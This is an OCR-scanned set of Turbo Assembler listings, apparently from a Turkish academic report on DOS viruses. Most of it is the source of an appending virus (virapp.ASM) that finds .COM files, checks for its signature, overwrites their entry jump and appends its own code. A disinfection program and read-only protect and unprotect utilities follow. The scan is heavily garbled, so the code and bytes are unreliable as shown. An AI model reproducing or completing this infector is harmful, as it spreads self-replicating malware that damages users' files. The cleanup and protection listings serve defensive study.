B9 0003
B4 40
2

3302
86 44 28
B9 0010
F7 F1

88 54 47

3309
B n
B8 4202
o2

80 94 014Br
B? 0010
04 47
B4 40

ch 21

302
39
B8 4201
2

20 0003
88 44 3D
88 &4 JE

33 02
3CY
B8 4200
o2

8D 54 3C
B9 0003
BA &0
o2

33 D2
339
B9 4202

01/01/80 00:30:11

95

mov by, ax
mov cx,3
nov ah,3fh
int 21h

lea dx,[si+3fh]
mov C%,3

mov ah, 40h

int 2ih

wor dx,dy

mov ax, [si+2bh1
mov cx, 10h

div cx

mov [si+47h],dl

Page 3

%0r CRyCx
vor du,dx
mov ax,4202h
int 2th

lea dx,{imzat(si-103h}]
#av c¥, 10h

sub cl,{si+47h]

mov ah,4Ch

int 2th

xor dx,dy
Xor cx,cx
nov ax,4201h
int 21h

sub ax,3
maov [3i+3dh],al
mov [si+3ehl,ah

xor dx,dx
XOr C%,CX
mov ax,4200h
int 21h

lea dx,[si+3ch]
sov x,3

mov ah, 40h

int 2th

xor dx,dx
X0r CX,C%
sov ax,4202h



148 0229
149

150 022B
151 022F
132 0233
133 0235
154

155 0237
136 0239
157

158 0238
139 023C
160 023F
161 0241
162 0244
163 0246
164 0248
163

166

167 0249
168 024C
169 024D
170

171

o2

8D 94 FFFDr
B9 0176 %0
B4 40
o2

B4 3E
o 21

1E

88 44 43
8E 08
8B 54 43
B4 {A
o2t

1F

BB 0103
by
3

Turbo Assesbler Version 2.0

virapp. ASH

172 Q24
3
174
173
176
177
178
179
180
i8t
182 027¢
1683
184
183
186
187
188
189
190
191 0276
192 0217
193 0279
194 0278
195 027F

42 53 33 3B 2F 49 ZE+
54 &35 7F 319 38 39+
2E 59 X 30 34 33 ¥+
41 30 50 45 4E 44 49+
AE 47 20 36 49 52 55+
REFEF2AB

= 0176

06

B F
21

89 1E Ot44r
8C 06 Otabr

96

int 21h

lea dx, (begin+{si-103h} 1
mov cx,viralcien

mov ah, 40h

int 2th

mov ah,3eh
int 2ih

push ds

aav ax, (5i+43h]
mov ds,ax

mav dit, [si+45h]
mov ah, iah

int 2th

pop ds

nainprog: mov bx,0103h jthe call command requires 3 bytes
push bx jof code
ret

01/01/80 00: 30211 Page 4

imza db 'BSS;/1.T.U/98%.Y.043/APPENDING VIRUS//$3"

viralclen equ (% - Anfang}

entry endp

HRii2e3388 004003330000 03e00bd08adoiitsntitititiifietid]
FIERRRARARRRARTNRRRERNLL;

sThis is the code which will run at first when virus.com is
sactivated, At end of its job it will be jettisoned.

initvircode: push es
mov ah,2fh
int 21h
nov dtaoffset,bx
mov dtasegment,es



196 07283

197

198

199 -

200 0284

201 0287

202 0289

203

204

205

206 0288

207 028€

208 0291

209 0293

210

211 0295

212 0298

213 0298

214 029

215 0270

216 02A2
- 217 02A8

218 0206
- 219 028

20

21

22

223 02/

224 028D

225 0280

226

7

8

Turbo Assesbler Yersion 2.0

virapp.ASH

229 0282
230 0284
231 0285
232 0288
233 0ZBA
234 028D
PAR]

236 02BF
237 0202
238 023
239 007
240

241 02C9
242 0208
243

244

F3s 86

07
;1. BOLUMN:

BA O114r
B4 1A
o2

BA 0103r
B2 0000
B4 4E
€D 21

BE 0109r
BF 0132r
BY 000B
repe
75 08
B4 OF
Co 2t
73 02
£B 9F

nextmatchs

33, BOLUM:

BA M32r
B8 3D0O
co 2t

openfile:

34, BOLUM:

01/01/80 00:30:11

3 C9
49

BA FFD8
8B 18
B8 4202
o2

B9 0002
BA 0148r
B4 IF
0z

B4 3E
co 21

97

pop es
DOS TARAFINDAN KULLANILACAK DTA ADRESI BELIRLENIYOR;

lea dx,dtabuffer
aov ah,lah
int 2th

ALT SURUCUDE ILK .COM DOSYASI BULUNUYOR;

lea dx,comfile jfind first match
mov cx,0

aov ah,4eh

int 2th

lea si,avoidfile
lea di,filename
mov cx, i1

capsh

jnz openfile
mav ah,4fh ;find next match
int 21h

jnc openfile

jap mainprog

sbut don’t infect the default
sshell

TESPIT EDILEN DGSYA READ MODUNDA ACILIYOR;

lea dx,filename
mov ax,3d00h
int 2th

IMZA ARANIYOR;

Page 5

#0r cX,cx
dec cx

moy dx,-40
mov bx,ax
mov ax, 4202h
int 21h

mov cx,2

lea dx,signbuf
mov ah,3fh

int 2th

mov ah,3eh ; close tile or handle
int 2lh

IMZA KONTROL EDILIYOR;



243

246 G2CD A1 0148r
247 0200 3B 06 024Er
248 0204 75 02

249

250 0206 EB CA
o1
252

53

2G4 0208 BA 0132
255 0208 BB 3002
256 02DE CD 21

7

238 02E0 BA O142r
259 03 8B 08

260 G265 B9 0003
261 068 B4 ¥F

262 026A CD 21

263

254 0XC BA 0142r
265 02(F  BY 0003
266 0ZF2 B4 40

247 02F4 CD 21

268

269 06 33 D2

270 02¥8 Al O12Er
271 0ZFB B% 0010
272 0FE F7F1

273 0300 88 16 O14Ar
214

2750304 33 C9

276 0306 33 02

277 0308 BB 4202
278 0308 CD 21

27N

280 030D BA 024tr
281 0310 B9 0010
202 0313 2A OE Ot4hAr
283 0317 ©4 40

284 0319 CD 21

285

Turbo Asseshler Version 2.0
virapp.ASH

286 031B 33 D2
287 0310 33 C9
288 031F B8 4201
289 0322 €D 21

291 0324 20 0003
292 0327 A2 0140r

sDIKKAT! 1t

14. BOLUM:

infecting:

98

mov ax,signbuf
cep ax,word ptr {imzal
jnz infecting

jop nextmatch
BULASHA KISMI;

lea dv,filename jopen file in read/write mode
nov ax,3d0Zh ;o infect
int 21h

1ea dx,bfcall
sov bx,ax
mov C%,3

eov ah,3fh
int 2th

satore the first three bytes
sin bfcall

lea dx,bfcall jwrite this three bytes

a0V C%,3 safter the first three bytes
mov ah,40h ;to the file to be infected
“int 2th
xor dx,dx jfind the number of paragraphs used
mov ax,fszl  jby the orginal program to be infected
mov cx, 10h
div cx

01/01/80 00:30: 11

mov adjaoffeet,dl

®or cx,Cx sposition file pointer to the
xor dx,dx send of file to be infected

mov ax,4202h

int 21h

lea du,imza  jpatch the unused offsets of the
mav cx,i0h  joriginal progras

sub cl,adjoffset ;jafter this prodcedure we get
sov ah,40h 33 new paragraph address
int 2th

Page &

xor dx,dx
20 €%,
mov ax,4201h ;now the new address is

int 2th sin dxsax
sub ax,3
nov dpl,al sadjust the address to indicate the



293 0328
rall

295 03%
296 0330
297 0332

298 0335

299

300 0337
301 0334
302 033D
303 033F
304

305 0341
306 0343
307 0345
308 0348
309

310 034A
311 034D
312 0350
313 0352
314

315 0354
316 0354
317

318 0338
319 0359
320 035C
321 035€
322 0382
323 0344
324 0366
325

326 0367
327 0368
328 0348
hv.}

330 036D
33

Turbo Assembler Version 2.0

Syabol Table

28 26 0181r

302
39
B8 4200
co 21

BA 0)3Fr
B9 0003
BA 40
co 2t

3302
RAR K
B8 4202
2

Ba 0100r
B9 0176
B4 40
o2

B4 3E
2

1E

Al 0tdér
8t D8

88 16 0144r
BA 1A
2

iF

B8 0000
30
2

cseq

01/01/80 00:30:11

99

nov dph,ah

xor dx,dx
Lor tx,cx
mov ax, 4200h
int 2th

lea dx,command

mov tx,3
aov ah,40h
int 21h

xor dx,dx
XOr CX,Cx
mov ax,4202h
int 2th

lea dx,heqin

mov c%,viralclen

nov ah, 40h
int 2th

mov ah,3eh
int 2th

push ds

mov ax,dtasegment

aov ds,ax

sbeginning of the file
sto be infected

sshould indicate the entry point
3 of the virus

1go to end of file

sappend the viral code
sto end of file

sclose file or handle

jrestore dta address

mov dx,dtacffset

mov ah, lah
int 21h

pop ds

oV ax,0
push ax
int 20h

ends
end begin

Page 7



100

Sysbol Name Type Value
7DATE Text "01/01/80%
7 ILENAME Text “virapp *
TIME Text  *00:30:09"
TAERSION Nusher 0200
«€r Text 0101H
CURSES Text CSEG
FILENAME Text  VIRAPP
WORDSI 2E Text 2
ADJOFFSET Byte CSEG:014A
ANFANG Word  CSEG:0100
ATTR Byte CSEG:0129
AVOIDFILE Byte CSEG:0109
BEGIN Near CSEG:0100
BFCALL Word CSEG:0142
CONFILE Byte  CSEG:0103
COMMAND Byte CSEG:013F
DATE Word  CBEG:012C
DPH Byte CSEG:0141
DPL Byte CSEG:0140
DTABUFFER Byte CSEG:0114
DTAGFFSET Word CSEG:0144
DTASEGMENT Word CSEG:0144
ENTRY Near CSEG:014B
FILENAME Byte CSEG:0132
FINDNEXT Near  CSEG:0184
FSTH Word  CSEB:0130
FSIL Word CSEG:O12E
IMZA Byte CSEB:024E
INFECT Near CSEG:01BB
INFECTING Near  CSEG:02D8
INITVIRCODE Near  CSEB:0276
MAINPROG Near  CSEG:0249
NEXTMATCH Near  CSEG:02A2
OPENFILE Near  CSEG:02AR
OPENY Near  CSEG:018D
SIGNBUF Word CSEG:0148
SPREAD Near CSEG:0157
TIME Word CSEB:012A
VIRALCLEN Nusher 0176
Groups & Segments Bit Size Align Cosbine Class

CSEG 16 036D Para Public CODE



E¥ R
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E9 0083

0~ O Ul AN e

9 0103
10 0104
11 0109
12 010A
13 010
14
15
14
17
8
19 0134
2
2
2
23
24 0152
5
2
27
28
29 0173
0
3t
kY]
33 0188
3
35 0188
36 0188
37 018€
38 0190
39 0193
40 0195
-
42 0199
43 019¢
m
45 019€
46 0140
47 0141
48 0103
49 0106
50 0149
51
52 01AB
53 O1AE

038 (77
038(77)

E8

77

42 53 53 3B 7F 49 Z+
54 %€ 55 %F 19 38 39+
% 59 2 30 34 33 2F+
41 50 50 45 4E 44 49+
4E 47 20 56 49 52 5+
S3 2F 7 20 3B

0D 0A 54 68 69 73 20+
hb 69 6C &5 20 69 T3+
20 6E &F 74 20 49 4+
bb 65 63 78 45 64 24+
a0 A

0D 0A 54 68 &9 73 20+
86 69 6C 65 20 69 T3+
20 69 6E b 65 63 T4+
45 64 26 43 6C 65 b1+
6E 20 75 70 20

70 72 &F 83 65 73 T3+
20 62 65 67 69 4E T3+
20 6E &F 77 24 0D 0

BA 0082

BF 0082

BO 0D

B9 0000

F2) AE

Cé6 45 FF 00

B8 3002
co 21

33 C9
49

8B 08
BA FFD8
B8 4202
o2

BA 0104r
BY 0092

20/06/92 00:3bs21

cseg

begin:

101

Page 1

segment. para public ’code’
assuse C51C3eQ,d5i058),05058]
org 100h

jmp  BeginToCleantip

bufferd db 3 dup ()

buffert db 3 dup (V)

calling db 0sBh

chkbutfer dw ©

signature db "BSS: /1.T.1/989.Y.043/APPENDING VIRUS: -3¢°

messaged db 13,10, This file is not infected$’, 13,10

message! db 13,10,°This file is infected.Clean up *

ob ’process begins now$’, 3,10

BeginloCleanUp proc near

repne

mov dx,B2h

sov di,82h

mov al,0dh

mov €12

scash

mov byte ptr [di-11,0

mav ax,3d0zh
int 2th

xor Cit,cy
dec o

mov by, ax
mov di,-40
mav ax,4207h
int Zih

lea du,chkbuffer
nov CcX,2

7.C. YORSEROGRETIM KURUL”
POKUMANTASYON MERKEZT



54 01B1
53 0183
56

57 01BS

cl.ASH

58 o1e8
5%.01BA

40 01BE -

b1
62 01C0
63 01C3
64 01CS
65 01C7
66

67 01C8
68 01CB
69 01CD
70

71 OICF
72 0102
73 0105
74 0108
75 010A
76 010C
77 O1DF
78 O1E2
79 01E4
80

81 01E6
82 O1E9
83 OIEC
B4 O1EF
85 OIF1
86

87 0IF3
88 O1Fb
89 01F9
%

91 IFC
92 O1FE
93 0200
9% 0203
95

% 0205
97 0208
98 0208
99 0200
100

i1 020
102 0211
103 0213
104

105 0215
106 0215
107 0217
108 0219

BA 3F
W 133

BE 010Cr

8B 04
3B 06 010Ar
7 08

BA 0134r
B4 07
b 2t
c3

BA 0152r
B4 09
21

£E8 0043
BA 0103r
B9 0003
B4 3F
o2

BA 0106r
B9 0003
B4 IF
2

E8 002C
BA 0106r
B9 0003
B4 40
Co 2t

BE 0103
8B 44 01
05 0103

33 C9
88 DO
B8 4200
2

BA 010Cr
B? 0028
B4 40
ch 2t

B4 3E
tha
EB B2

RS ER
33 D2
B8 4200

ending:

mesl:

aoveptr

11:2

mov ah,3fh
int 21h

lea si,signature

wov ai,(3il
cmp ax,chkbutfer
iz mest

lea dy,messagel
mov ah,?

int 21h

ret

lea dy,messagel
mov ah,9
int 2th

call moveptr
lea dx,bufferod
MOV C3ty3

moy ah,Xh

int 2th

lea dx,bufferi
mov €2,

sov ah,3th

int 21h

call moveptr
lea dx,bufferl
mov CX,3

mov ah,4Ch
int 2ih

lea si,bufferd
mov’ ax,{si+l]
add ax, 103h

®ar cy,cx
mov d¥,ax
mov ax,4200h
int 21h

lea dx,signature
wov cx,40

mov ah, 40h

int 2th

aov ah,3ch
int 21lh
jmp ending

proc near
xar cx,cx
xar dx,dx
mov ax,4200h



109 021C €0 21
110 021E C3
117 021F

112

113 024F

114

Turbo Assesbler Yersion 2.0
cl.ASH

113 921F
114

Symbol Table

Symbol Name

7DATE

?7F ILENAME
I
TERSION
e gl
3CURSEG

3F ILENAME
SHORDSIZE
BEGIN
BEGINTOCLEANUP
BUFFERO
BUFFER1
CALLING
CHKBUFFER
ENDING
MES1
MESSAGED
MESSABE !
MOVEPTR
SIGNATURE

froups % Segments

CSEG

int 2th
ret
soveptr endp

BeginToCleantp endp

01/01/80 00:36:21 Page 3

cseg  ends
end begin

Type Value

Text  *01/01/80%
Text “cl "
Text  *00:36320"
Number 0200

Text  0101H

Text CSEG

Text CL

Text 2

Near  CSEG:0100
Near (SEG:0188
Byte (SEG:0103
Byte CSEG:0106
Byte (CSEB:0109
Word CSEG:UL0A
Near  CSEG:0IC7
Near CSEG:01C8
Byte CSEGt0134
Byte CSEG:0152
Near (CSEB:0213
Byte CSEG:010C

Bit Size Align Combine Class

16 021F Para Public CODE



Turbo Assesbler
pr.ASH

[-- BN - X I L

9 0100

10 0100 BA 0082
it 0103 FC

12 0104 BF 0082
13 0107 BO 0D
14 0109 B9 000C
15 010C F2> AE
16 O10E T4 45 FF 00
17 0112 KO Of
18 0114 B? 0001
19 0117 B4 2B
20 0119 €D 2t
21 011B €D 20
22 011D

23 011D

24

Syabol Table
Symbol Name

PIDATE

TF ILENAME
TTIE
FVERSION
aCpPy
ACURSEG
AF ILENAME
SWORDSIZE
PREVENT

Groups & Segments

Cses

Version 2.0

Ek C

20106192 V1924

104

Page |

cseq segment para public *code’

ascuse C5¢cseqg,ds:cseq,esicseyg

org 100h

prevent proc near

mav dz,B2h ;dsidg points to the file that should
cld she protected from viral attack
mov di,B82h

rov al,0dh

mav cx,12

repne scash

mov byte ptr (di-11,0
agv al,!
mov c¥,1
mov ah,43
int 2th
int 20h

scu=1 means that the file in gquestion
suill be protected because this value
sthat is,cx=1 make the file read only

prevent endp

Type Value

Text  *01/01/80"
Test ‘“pr "
Text  “00:29:22°
Nusber 0200

Text 0101H
Text  CSEG

Text PR

Text 2

Near C5EG:0100

cseq ends

end prevent

Bit Size Align Coebine Class

16 011D Para

Public CODE
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unpr. ASM

O3 ~= O N 4 3 N =

-

10 0100
11 0100
12 0103
13 0104
14 0107
15 0109
16 010C
17 010E
18 0112
19 0114
20 0117
21 o119
22 0118
3

24 011D
5 011D
26

Symbol Table
Syabol Name

TDATE
TIFILENAME
e
FVERSION
«PY
ICURSEG
SFILENAME
MORDSIZE
UNPREVENT

BA 0082
FC

BF 0082
BO 0D
B9 0000
F2> AE
€6 45 FF 00
BO 01
BY 0000
BA 43
o2t
€ 20

Groups & Segments

CSEG

EKD

01/01/80 00323:08 Page 1

cseq segqment para public ’code’

assume cs:cseq
org 100h

unpr event proc near

mov dx,8zh jdseidz points to the file
cld sthat is to be made unprotected

mav di,8zh
mov al,%dh
mov €x,12
repne  scasb
wov byte ptr (di~13,0
nov al,!
fov Cx%,0
mov ah, 43h
int 2th
int 20h

unprevent endp
cseg ends
end unprevent

Type Value

Text  "01/01/80"
Text  “unpr "
Text  “0N:23:06"
Number 0200

Text O101H

Text CSEG

Text  UNPR

Text 2

Near  CSEG:(100

Bit Size Align Combine Class

16 011D Fara Public CODE

sfilename gets the fora of
1ASCINZ

;cx=0 means that thiz file
sshould be treated as normal
sfile
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